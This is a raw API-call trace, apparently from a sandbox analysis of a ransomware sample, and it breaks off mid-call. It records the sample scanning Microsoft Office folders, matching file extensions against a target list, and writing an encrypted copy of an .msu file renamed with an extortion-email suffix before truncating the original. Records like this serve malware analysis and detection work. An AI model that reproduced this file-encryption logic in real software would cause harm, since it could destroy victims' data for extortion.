lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0187.688] lstrlenW (lpString=".pdf") returned 4 [0187.688] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0187.688] lstrlenW (lpString=".xls") returned 4 [0187.689] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0187.689] lstrlenW (lpString=".xlsx") returned 5 [0187.689] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0187.689] lstrlenW (lpString=".ppt") returned 4 [0187.689] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0187.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0187.689] lstrlenW (lpString=".zip") returned 4 [0187.689] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0187.689] lstrlenW (lpString=".rar") returned 4 [0187.689] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0187.689] lstrlenW (lpString=".bz2") returned 4 [0187.689] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0187.689] lstrlenW (lpString=".7z") returned 3 [0187.689] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0187.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0187.689] lstrlenW (lpString=".dbf") returned 4 [0187.689] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0187.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0187.689] lstrlenW (lpString=".1cd") returned 4 [0187.689] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0187.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0187.689] lstrlenW (lpString=".jpg") returned 4 [0187.689] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0187.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0187.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0187.689] lstrlenW (lpString=".doc") returned 4 [0187.690] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0187.690] lstrlenW (lpString=".docx") returned 5 [0187.690] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0187.690] lstrlenW (lpString=".pdf") returned 4 [0187.690] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0187.690] lstrlenW (lpString=".xls") returned 4 [0187.690] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0187.690] lstrlenW (lpString=".xlsx") returned 5 [0187.690] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0187.690] lstrlenW (lpString=".ppt") returned 4 [0187.690] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0187.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0187.690] lstrlenW (lpString=".zip") returned 4 [0187.690] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0187.690] lstrlenW (lpString=".rar") returned 4 [0187.690] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0187.690] lstrlenW (lpString=".bz2") returned 4 [0187.690] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0187.690] lstrlenW (lpString=".7z") returned 3 [0187.690] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0187.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0187.690] lstrlenW (lpString=".dbf") returned 4 [0187.690] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0187.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0187.690] lstrlenW (lpString=".1cd") returned 4 [0187.690] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0187.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0187.691] lstrlenW (lpString=".jpg") returned 4 [0187.691] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0187.691] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0187.691] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0187.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0187.698] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=21184) returned 1 [0187.698] CloseHandle (hObject=0x4d8) returned 1 [0187.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0187.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0187.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0187.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0187.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0187.698] lstrlenW (lpString=".doc") returned 4 [0187.698] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0187.699] lstrlenW (lpString=".docx") returned 5 [0187.699] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0187.699] lstrlenW (lpString=".pdf") returned 4 [0187.699] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0187.699] lstrlenW (lpString=".xls") returned 4 [0187.699] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0187.699] lstrlenW (lpString=".xlsx") returned 5 [0187.699] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0187.699] lstrlenW (lpString=".ppt") returned 4 [0187.699] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0187.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0187.699] lstrlenW (lpString=".zip") returned 4 [0187.699] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0187.699] lstrlenW (lpString=".rar") returned 4 [0187.699] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0187.699] lstrlenW (lpString=".bz2") returned 4 [0187.699] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0187.699] lstrlenW (lpString=".7z") returned 3 [0187.699] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0187.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0187.699] lstrlenW (lpString=".dbf") returned 4 [0187.699] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0187.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0187.699] lstrlenW (lpString=".1cd") returned 4 [0187.699] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0187.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0187.699] lstrlenW (lpString=".jpg") returned 4 [0187.699] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0187.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0187.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0187.700] lstrlenW (lpString=".doc") returned 4 [0187.700] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0187.700] lstrlenW (lpString=".docx") returned 5 [0187.700] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0187.700] lstrlenW (lpString=".pdf") returned 4 [0187.700] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0187.700] lstrlenW (lpString=".xls") returned 4 [0187.700] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0187.700] lstrlenW (lpString=".xlsx") returned 5 [0187.700] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0187.700] lstrlenW (lpString=".ppt") returned 4 [0187.700] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0187.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0187.700] lstrlenW (lpString=".zip") returned 4 [0187.700] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0187.700] lstrlenW (lpString=".rar") returned 4 [0187.700] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0187.700] lstrlenW (lpString=".bz2") returned 4 [0187.700] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0187.700] lstrlenW (lpString=".7z") returned 3 [0187.701] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0187.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0187.701] lstrlenW (lpString=".dbf") returned 4 [0187.701] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0187.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0187.701] lstrlenW (lpString=".1cd") returned 4 [0187.701] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0187.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0187.701] lstrlenW (lpString=".jpg") returned 4 [0187.701] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0187.701] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0187.701] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0187.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0187.736] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=19136) returned 1 [0187.736] CloseHandle (hObject=0x520) returned 1 [0187.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0187.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0187.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0187.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0187.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0187.737] lstrlenW (lpString=".doc") returned 4 [0187.737] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0187.737] lstrlenW (lpString=".docx") returned 5 [0187.737] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0187.737] lstrlenW (lpString=".pdf") returned 4 [0187.737] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0187.737] lstrlenW (lpString=".xls") returned 4 [0187.737] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0187.737] lstrlenW (lpString=".xlsx") returned 5 [0187.737] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0187.737] lstrlenW (lpString=".ppt") returned 4 [0187.737] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0187.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0187.737] lstrlenW (lpString=".zip") returned 4 [0187.737] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0187.737] lstrlenW (lpString=".rar") returned 4 [0187.737] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0187.737] lstrlenW (lpString=".bz2") returned 4 [0187.737] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0187.737] lstrlenW (lpString=".7z") returned 3 [0187.737] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0187.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0187.737] lstrlenW (lpString=".dbf") returned 4 [0187.737] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0187.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0187.737] lstrlenW (lpString=".1cd") returned 4 [0187.737] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0187.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0187.737] lstrlenW (lpString=".jpg") returned 4 [0187.738] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0187.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0187.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0187.738] lstrlenW (lpString=".doc") returned 4 [0187.738] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0187.738] lstrlenW (lpString=".docx") returned 5 [0187.738] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0187.738] lstrlenW (lpString=".pdf") returned 4 [0187.738] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0187.738] lstrlenW (lpString=".xls") returned 4 [0187.738] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0187.738] lstrlenW (lpString=".xlsx") returned 5 [0187.738] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0187.738] lstrlenW (lpString=".ppt") returned 4 [0187.738] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0187.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0187.738] lstrlenW (lpString=".zip") returned 4 [0187.738] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0187.738] lstrlenW (lpString=".rar") returned 4 [0187.738] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0187.738] lstrlenW (lpString=".bz2") returned 4 [0187.738] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0187.738] lstrlenW (lpString=".7z") returned 3 [0187.738] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0187.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0187.738] lstrlenW (lpString=".dbf") returned 4 [0187.738] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0187.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0187.738] lstrlenW (lpString=".1cd") returned 4 [0187.738] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0187.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0187.738] lstrlenW (lpString=".jpg") returned 4 [0187.738] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0187.739] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0187.739] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0187.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.218] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=19136) returned 1 [0188.218] CloseHandle (hObject=0x4d4) returned 1 [0188.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0188.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0188.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0188.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0188.897] lstrlenW (lpString=".doc") returned 4 [0188.897] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.897] lstrlenW (lpString=".docx") returned 5 [0188.897] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0188.897] lstrlenW (lpString=".pdf") returned 4 [0188.897] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.897] lstrlenW (lpString=".xls") returned 4 [0188.897] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.897] lstrlenW (lpString=".xlsx") returned 5 [0188.897] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0188.897] lstrlenW (lpString=".ppt") returned 4 [0188.897] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0188.897] lstrlenW (lpString=".zip") returned 4 [0188.897] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.897] lstrlenW (lpString=".rar") returned 4 [0188.897] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.897] lstrlenW (lpString=".bz2") returned 4 [0188.897] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.897] lstrlenW (lpString=".7z") returned 3 [0188.897] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0188.897] lstrlenW (lpString=".dbf") returned 4 [0188.898] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0188.898] lstrlenW (lpString=".1cd") returned 4 [0188.898] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0188.898] lstrlenW (lpString=".jpg") returned 4 [0188.898] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0188.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0188.898] lstrlenW (lpString=".doc") returned 4 [0188.898] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.898] lstrlenW (lpString=".docx") returned 5 [0188.898] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0188.898] lstrlenW (lpString=".pdf") returned 4 [0188.898] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.898] lstrlenW (lpString=".xls") returned 4 [0188.898] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.898] lstrlenW (lpString=".xlsx") returned 5 [0188.898] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0188.898] lstrlenW (lpString=".ppt") returned 4 [0188.898] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0188.898] lstrlenW (lpString=".zip") returned 4 [0188.898] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.898] lstrlenW (lpString=".rar") returned 4 [0188.898] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.898] lstrlenW (lpString=".bz2") returned 4 [0188.898] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.898] lstrlenW (lpString=".7z") returned 3 [0188.898] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0188.899] lstrlenW (lpString=".dbf") returned 4 [0188.899] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0188.899] lstrlenW (lpString=".1cd") returned 4 [0188.899] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0188.899] lstrlenW (lpString=".jpg") returned 4 [0188.899] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.899] lstrcmpiW (lpString1=".msu", lpString2=".kr") returned 1 [0188.899] lstrlenW (lpString="Windows6.1-KB2999226-x86.msu") returned 28 [0188.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0188.900] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=621986) returned 1 [0188.900] CloseHandle (hObject=0x540) returned 1 [0188.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 0x220 [0188.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0188.901] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.901] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0188.903] GetLastError () returned 0x0 [0188.903] ReadFile (in: hFile=0x540, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x97da2, lpOverlapped=0x0) returned 1 [0189.195] WriteFile (in: hFile=0x520, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x97db0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x97db0, lpOverlapped=0x0) returned 1 [0189.208] ReadFile (in: hFile=0x540, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.209] WriteFile (in: hFile=0x520, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10c, lpOverlapped=0x0) returned 1 [0189.209] SetEndOfFile (hFile=0x520) returned 1 [0189.209] CloseHandle (hObject=0x520) returned 1 [0189.209] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.209] SetEndOfFile (hFile=0x540) returned 1 [0191.021] CloseHandle (hObject=0x540) returned 1 [0191.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 